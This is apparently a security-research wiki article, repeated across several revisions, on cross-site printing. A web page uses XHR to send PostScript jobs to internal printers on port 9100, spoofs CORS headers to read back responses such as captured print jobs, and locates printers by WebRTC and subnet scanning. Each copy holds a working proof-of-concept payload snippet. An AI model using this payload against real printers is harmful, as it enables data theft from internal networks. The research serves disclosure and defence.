Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a whole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|+ Comparison of cross-site printing channels
|-
! Method !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || || ✔ || ✔ ||
|-
| Web || ✔ || || ||
|-
| IPP || ✔ || || ✔ ||
|-
| LPD || ✔ || || ✔ || FF, Ch, Op
|-
| FTP || ✔ || || ✔ || FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer.

→ ''Related aricles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[Port 9100 printing]]

----

Cross-site printing

2017-01-28T16:45:44Z

Admin:

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a whole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|+ Comparison of cross-site printing channels
|-
! Method !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || || ✔ || ✔ ||
|-
| Web || ✔ || || ||
|-
| IPP || ✔ || || ✔ ||
|-
| LPD || ✔ || || ✔ || FF, Ch, Op
|-
| FTP || ✔ || || ✔ || FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer.

→ ''Related aricles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]]

----

Cross-site printing

2017-01-28T16:45:32Z

Admin:

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a whole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|+ Comparison of cross-site printing channels
|-
! Method !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || || ✔ || ✔ ||
|-
| Web || ✔ || || ||
|-
| IPP || ✔ || || ✔ ||
|-
| LPD || ✔ || || ✔ || FF, Ch, Op
|-
| FTP || ✔ || || ✔ || FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer.

→ ''Related aricles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]]

----